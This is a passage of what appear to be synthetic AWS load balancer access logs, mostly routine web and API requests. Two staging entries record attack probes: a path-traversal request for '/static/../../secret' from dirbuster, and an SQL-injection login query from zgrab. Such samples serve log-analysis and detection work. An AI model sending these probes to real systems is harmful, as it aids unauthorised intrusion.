AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8c6-506525c183af41008cefb262" "prod-api-alb.example.com" "-" 4 2024-11-01T01:13:26.478790Z "forward" "-" "-" "10.0.148.44:443" "301" "-" "-" -https 2024-11-01T01:13:28.124257Z prod-web-alb 227.138.38.48:37400 10.0.168.248:443 0.027054 0.030508 0.088827 302 302 98 5506 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8c8-63b0506a62d04e9eada73a5b" "prod-web-alb.example.com" "-" 3 2024-11-01T01:13:28.124257Z "forward" "-" "-" "10.0.168.248:443" "302" "-" "-" -https 2024-11-01T01:13:28.766208Z prod-web-alb 104.3.226.62:35016 10.0.91.11:443 0.094190 0.488153 0.086906 200 200 987 2063 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8c8-30505984a995429784f8f296" "prod-web-alb.example.com" "-" 8 2024-11-01T01:13:28.766208Z "forward" "-" "-" "10.0.91.11:443" "200" "-" "-" -https 2024-11-01T01:13:30.222414Z prod-web-alb 238.102.117.78:25708 10.0.196.102:443 0.090739 0.217315 0.020389 200 200 94 7807 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8ca-e1822937907f498f97b25dfd" "prod-web-alb.example.com" "-" 1 2024-11-01T01:13:30.222414Z "forward" "-" "-" "10.0.196.102:443" "200" "-" "-" -https 2024-11-01T01:13:30.896208Z staging-alb 26.27.162.172:35491 160.232.133.230:8080 0.045363 0.602982 0.066154 200 200 897 9056 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8ca-057f9407db7042cb9117b57f" "staging-alb.example.com" "-" 10 2024-11-01T01:13:30.896208Z "forward" "-" "-" "160.232.133.230:8080" "200" "-" "-" -https 2024-11-01T01:13:31.798080Z prod-web-alb 76.248.47.16:41994 10.0.49.193:443 0.032398 0.307096 0.082911 200 200 845 12993 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8cb-cb4aa45322174303b5055dae" "-" "-" 4 2024-11-01T01:13:31.798080Z "forward" "-" "-" "10.0.49.193:443" "200" "-" "-" -https 2024-11-01T01:13:32.335329Z prod-web-alb 147.155.84.90:17435 10.0.213.158:443 0.034389 0.407966 0.041639 404 404 681 7357 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8cc-1d760c45065546fcb56eba31" "prod-web-alb.example.com" "-" 0 2024-11-01T01:13:32.335329Z "forward" "-" "-" "10.0.213.158:443" "404" "-" "-" -https 2024-11-01T01:13:33.410235Z prod-web-alb 205.187.166.209:19381 10.0.244.153:443 0.061017 0.203153 0.078832 200 200 350 11943 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8cd-5232c5985ae44b06815e4ee5" "prod-web-alb.example.com" "-" 0 2024-11-01T01:13:33.410235Z "forward" "-" "-" "10.0.244.153:443" "200" "-" "-" -https 2024-11-01T01:13:34.200894Z prod-web-alb 217.226.253.179:51517 10.0.100.242:443 0.009998 0.372538 0.034678 301 301 645 7093 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8ce-20d7c5ab78c54ec7953f6414" "prod-web-alb.example.com" "-" 9 2024-11-01T01:13:34.200894Z "forward" "-" "-" "10.0.100.242:443" "301" "-" "-" -https 2024-11-01T01:13:34.658641Z prod-api-alb 146.174.54.58:37153 10.0.192.114:443 0.052572 0.412028 0.007009 200 200 448 9834 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8ce-5feff885c2694cd3a12ea2de" "prod-api-alb.example.com" "-" 4 2024-11-01T01:13:34.658641Z "forward" "-" "-" "10.0.192.114:443" "200" "-" "-" -https 2024-11-01T01:13:36.261501Z prod-web-alb 15.12.236.167:43974 10.0.243.13:443 0.019571 0.216715 0.012316 301 301 135 5194 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8d0-9c5953b0ab1c48538d92a9ce" "prod-web-alb.example.com" "-" 0 2024-11-01T01:13:36.261501Z "forward" "-" "-" "10.0.243.13:443" "301" "-" "-" -https 2024-11-01T01:13:37.814352Z staging-alb 223.45.14.19:48216 199.172.201.12:443 0.013509 0.144685 0.110881 200 200 357 5820 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8d1-8302ccf75cf14c45bcc11388" "staging-alb.example.com" "-" 9 2024-11-01T01:13:37.814352Z "forward" "-" "-" "199.172.201.12:443" "200" "-" "-" -https 2024-11-01T01:13:39.658037Z prod-api-alb 64.169.89.60:58839 10.0.202.235:443 0.084212 0.120308 0.027479 302 302 836 14489 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8d3-9f7cca9e773c4e5895b70165" "prod-api-alb.example.com" "-" 2 2024-11-01T01:13:39.658037Z "forward" "-" "-" "10.0.202.235:443" "302" "-" "-" -https 2024-11-01T01:13:41.240730Z prod-api-alb 200.57.72.130:31018 10.0.214.126:443 0.021421 0.063558 0.075087 200 200 413 8173 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8d5-8bb9e8f4c3674b08b4ee22e9" "prod-api-alb.example.com" "-" 6 2024-11-01T01:13:41.240730Z "forward" "-" "-" "10.0.214.126:443" "200" "-" "-" -https 2024-11-01T01:13:42.374709Z staging-alb 112.112.53.150:41057 181.63.241.255:80 0.075538 0.245252 0.039127 200 200 866 6158 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8d6-8945a2aa4ab9424c916ace63" "staging-alb.example.com" "-" 1 2024-11-01T01:13:42.374709Z "forward" "-" "-" "181.63.241.255:80" "200" "-" "-" -https 2024-11-01T01:13:43.329280Z prod-web-alb 13.61.9.214:26224 10.0.46.154:443 0.056738 0.236288 0.065544 200 200 835 13301 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8d7-75d90a3771fb47b9909538eb" "prod-web-alb.example.com" "-" 10 2024-11-01T01:13:43.329280Z "forward" "-" "-" "10.0.46.154:443" "200" "-" "-" -https 2024-11-01T01:13:44.409642Z prod-web-alb 214.255.43.190:47382 10.0.19.240:443 0.000367 0.259551 0.031040 200 200 631 2554 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8d8-571d2dc5c2fa4cbbad0a1074" "prod-web-alb.example.com" "-" 8 2024-11-01T01:13:44.409642Z "forward" "-" "-" "10.0.19.240:443" "200" "-" "-" -https 2024-11-01T01:13:45.668862Z staging-alb 180.132.193.209:62794 7.131.173.230:443 0.006253 0.096553 0.059483 301 301 134 10011 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8d9-09813233eb4340fdb88e4c8d" "staging-alb.example.com" "-" 0 2024-11-01T01:13:45.668862Z "forward" "-" "-" "7.131.173.230:443" "301" "-" "-" -https 2024-11-01T01:13:46.671964Z prod-web-alb 39.206.39.230:24423 10.0.215.149:443 0.095979 0.139062 0.077497 301 301 962 11426 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8da-57781f3983e349f183e597d3" "prod-web-alb.example.com" "-" 9 2024-11-01T01:13:46.671964Z "forward" "-" "-" "10.0.215.149:443" "301" "-" "-" -https 2024-11-01T01:13:47.289757Z prod-web-alb 149.206.54.19:35627 10.0.197.27:443 0.031561 0.208792 0.014278 200 200 999 4890 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8db-407cdda1c7ce4b54997c362c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:13:47.289757Z "forward" "-" "-" "10.0.197.27:443" "200" "-" "-" -http 2024-11-01T01:13:47.884440Z staging-alb 187.221.57.80:57230 228.130.31.30:80 0.018411 0.030572 0.090869 200 200 120 9551 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8db-a7b1caf1bb7e47d1865dd604" "staging-alb.example.com" "-" 9 2024-11-01T01:13:47.884440Z "forward" "-" "-" "228.130.31.30:80" "200" "-" "-" -https 2024-11-01T01:13:49.164119Z staging-alb 193.27.228.120:51515 123.193.243.212:443 0.074937 0.519264 0.134128 404 404 38 12235 "GET /static/../../secret HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8dd-7f074ccdddfb4ac6935d2767" "-" "-" 8 2024-11-01T01:13:49.164119Z "forward" "-" "-" "123.193.243.212:443" "404" "-" "-" -https 2024-11-01T01:13:50.512751Z prod-api-alb 214.153.37.153:11861 10.0.228.69:443 0.062576 0.234873 0.068279 200 200 196 14031 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8de-69d13b699b36475489f112cb" "prod-api-alb.example.com" "-" 1 2024-11-01T01:13:50.512751Z "forward" "-" "-" "10.0.228.69:443" "200" "-" "-" -https 2024-11-01T01:13:51.196520Z prod-api-alb 179.235.47.166:52537 10.0.154.99:443 0.035124 0.133436 0.091980 200 200 755 5983 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8df-6df0f449223f48f78dc0b296" "prod-api-alb.example.com" "-" 3 2024-11-01T01:13:51.196520Z "forward" "-" "-" "10.0.154.99:443" "200" "-" "-" -https 2024-11-01T01:13:51.701569Z prod-web-alb 170.195.12.222:62199 10.0.191.19:443 0.080129 0.158540 0.070412 302 302 825 3116 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8df-9daf4e265edc4f51811afaa3" "prod-web-alb.example.com" "-" 4 2024-11-01T01:13:51.701569Z "forward" "-" "-" "10.0.191.19:443" "302" "-" "-" -https 2024-11-01T01:13:53.393790Z prod-api-alb 70.175.44.103:23597 10.0.22.14:443 0.010135 0.392903 0.020378 200 200 387 14602 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8e1-2adfd4bc69104029bf950394" "prod-api-alb.example.com" "-" 9 2024-11-01T01:13:53.393790Z "forward" "-" "-" "10.0.22.14:443" "200" "-" "-" -https 2024-11-01T01:13:55.034873Z prod-api-alb 204.173.221.117:23890 10.0.159.150:443 0.080964 0.205447 0.018694 301 301 202 2866 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8e3-e81f677a3c10496c88190ca7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:13:55.034873Z "forward" "-" "-" "10.0.159.150:443" "301" "-" "-" -https 2024-11-01T01:13:56.302340Z prod-api-alb 166.183.181.111:46588 10.0.12.184:443 0.066967 0.101185 0.066677 301 301 140 12438 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8e4-83284c82dea84bbabda66680" "prod-api-alb.example.com" "-" 5 2024-11-01T01:13:56.302340Z "forward" "-" "-" "10.0.12.184:443" "301" "-" "-" -https 2024-11-01T01:13:57.785813Z prod-web-alb 120.187.125.45:14001 10.0.213.239:443 0.031839 0.327002 0.058715 301 301 573 4442 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8e5-2d90e28a35ca4614acb380cb" "prod-web-alb.example.com" "-" 7 2024-11-01T01:13:57.785813Z "forward" "-" "-" "10.0.213.239:443" "301" "-" "-" -https 2024-11-01T01:13:58.121369Z prod-web-alb 79.215.173.45:53957 10.0.170.246:443 0.072707 0.425353 0.035312 200 200 923 10358 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8e6-9cbd56fc80fa43e2bbb29d74" "prod-web-alb.example.com" "-" 3 2024-11-01T01:13:58.121369Z "forward" "-" "-" "10.0.170.246:443" "200" "-" "-" -http 2024-11-01T01:13:59.772311Z staging-alb 73.49.58.200:53319 245.189.54.64:80 0.074574 0.185968 0.020320 302 302 77 1190 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8e7-242414d5c9854513b949ad06" "-" "-" 2 2024-11-01T01:13:59.772311Z "forward" "-" "-" "245.189.54.64:80" "302" "-" "-" -https 2024-11-01T01:14:00.182636Z prod-web-alb 79.213.203.165:32035 10.0.219.118:443 0.056462 0.078778 0.013336 404 404 393 4770 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8e8-4677e4e5beb44d33bd322af3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:14:00.182636Z "forward" "-" "-" "10.0.219.118:443" "404" "-" "-" -https 2024-11-01T01:14:00.590525Z prod-web-alb 90.34.151.22:50739 10.0.142.180:443 0.034843 0.094515 0.054003 404 404 440 318 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8e8-a2ca28783dd245329b6c3259" "prod-web-alb.example.com" "-" 3 2024-11-01T01:14:00.590525Z "forward" "-" "-" "10.0.142.180:443" "404" "-" "-" -http 2024-11-01T01:14:01.627889Z staging-alb 140.39.137.190:27196 233.184.146.133:80 0.051480 0.570150 0.121597 200 200 102 9655 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8e9-b82c4ccf4a024890bc62108a" "staging-alb.example.com" "-" 5 2024-11-01T01:14:01.627889Z "forward" "-" "-" "233.184.146.133:80" "200" "-" "-" -https 2024-11-01T01:14:01.751170Z prod-web-alb 247.119.59.35:41081 10.0.94.38:443 0.009767 0.117649 0.068795 200 200 390 7915 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8e9-1323a011a57947839da9199a" "prod-web-alb.example.com" "-" 2 2024-11-01T01:14:01.751170Z "forward" "-" "-" "10.0.94.38:443" "200" "-" "-" -https 2024-11-01T01:14:02.307281Z prod-web-alb 254.195.29.153:48717 10.0.131.31:443 0.052602 0.181206 0.050789 200 200 922 10697 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8ea-2ca1b342e8b6431086a8f2f0" "prod-web-alb.example.com" "-" 0 2024-11-01T01:14:02.307281Z "forward" "-" "-" "10.0.131.31:443" "200" "-" "-" -https 2024-11-01T01:14:03.495394Z prod-api-alb 160.172.164.116:13740 10.0.27.173:443 0.077510 0.494793 0.076778 200 200 548 14876 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c8eb-988e2dfeadec478f8525f858" "prod-api-alb.example.com" "-" 7 2024-11-01T01:14:03.495394Z "forward" "-" "-" "10.0.27.173:443" "200" "-" "-" -http 2024-11-01T01:14:04.071882Z staging-alb 176.57.221.102:26044 5.22.111.193:80 0.024560 0.636344 0.114755 302 302 728 6108 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8ec-d0e14bf1f854426aa59582e1" "staging-alb.example.com" "-" 1 2024-11-01T01:14:04.071882Z "forward" "-" "-" "5.22.111.193:80" "302" "-" "-" -http 2024-11-01T01:14:05.775186Z staging-alb 185.181.95.188:15612 34.60.34.241:80 0.025747 0.556706 0.022788 500 500 68 8068 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8ed-e26fc7e6ebc0403fa59030a7" "-" "-" 4 2024-11-01T01:14:05.775186Z "forward" "-" "-" "34.60.34.241:80" "500" "-" "-" -https 2024-11-01T01:14:06.294370Z prod-api-alb 3.161.159.20:54156 10.0.48.146:443 0.063474 0.119689 0.024007 301 301 319 6040 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8ee-2ddb5d6b244d4887a90d820e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:14:06.294370Z "forward" "-" "-" "10.0.48.146:443" "301" "-" "-" -https 2024-11-01T01:14:08.098373Z prod-api-alb 252.217.101.32:15898 10.0.112.35:443 0.001518 0.144933 0.000146 200 200 880 4009 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8f0-7d62eed72642435cab9adc2d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:08.098373Z "forward" "-" "-" "10.0.112.35:443" "200" "-" "-" -https 2024-11-01T01:14:08.212842Z prod-web-alb 55.109.144.36:25726 10.0.53.187:443 0.026046 0.175583 0.076169 301 301 144 2928 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8f0-4d10743f831742179829bfde" "prod-web-alb.example.com" "-" 5 2024-11-01T01:14:08.212842Z "forward" "-" "-" "10.0.53.187:443" "301" "-" "-" -https 2024-11-01T01:14:09.353773Z prod-web-alb 49.193.137.104:44447 10.0.128.174:443 0.097010 0.265777 0.033426 301 301 670 6517 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c8f1-483333f46de748a087a4865d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:14:09.353773Z "forward" "-" "-" "10.0.128.174:443" "301" "-" "-" -https 2024-11-01T01:14:11.290779Z staging-alb 33.212.144.17:47662 18.172.242.24:443 0.035743 0.180389 0.129209 301 301 137 3350 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8f3-79ea59a61b444e54b4fe7299" "staging-alb.example.com" "-" 10 2024-11-01T01:14:11.290779Z "forward" "-" "-" "18.172.242.24:443" "301" "-" "-" -https 2024-11-01T01:14:12.573483Z prod-api-alb 25.76.64.245:48101 10.0.16.121:443 0.029208 0.248159 0.069364 200 200 630 7615 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c8f4-df2bb86c12b6479cb17488f5" "prod-api-alb.example.com" "-" 0 2024-11-01T01:14:12.573483Z "forward" "-" "-" "10.0.16.121:443" "200" "-" "-" -http 2024-11-01T01:14:13.634633Z staging-alb 207.53.21.158:50111 52.15.107.29:443 0.007074 0.590897 0.125487 200 200 263 12716 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8f5-b758c984ac44476ea62bd92e" "staging-alb.example.com" "-" 6 2024-11-01T01:14:13.634633Z "forward" "-" "-" "52.15.107.29:443" "200" "-" "-" -https 2024-11-01T01:14:15.169191Z staging-alb 198.95.64.134:27648 210.120.128.41:8080 0.062524 0.638592 0.020877 200 200 610 13943 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8f7-12182d4cb7a840f1b30f737f" "staging-alb.example.com" "-" 4 2024-11-01T01:14:15.169191Z "forward" "-" "-" "210.120.128.41:8080" "200" "-" "-" -https 2024-11-01T01:14:15.772197Z prod-web-alb 164.197.94.42:34055 10.0.43.53:443 0.005313 0.419019 0.015861 200 200 2 1888 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8f7-2c69efd11ce6472c89407ccc" "prod-web-alb.example.com" "-" 9 2024-11-01T01:14:15.772197Z "forward" "-" "-" "10.0.43.53:443" "200" "-" "-" -http 2024-11-01T01:14:16.885005Z staging-alb 230.65.3.113:12788 30.154.59.128:80 0.099965 0.009151 0.047296 200 200 25 11384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 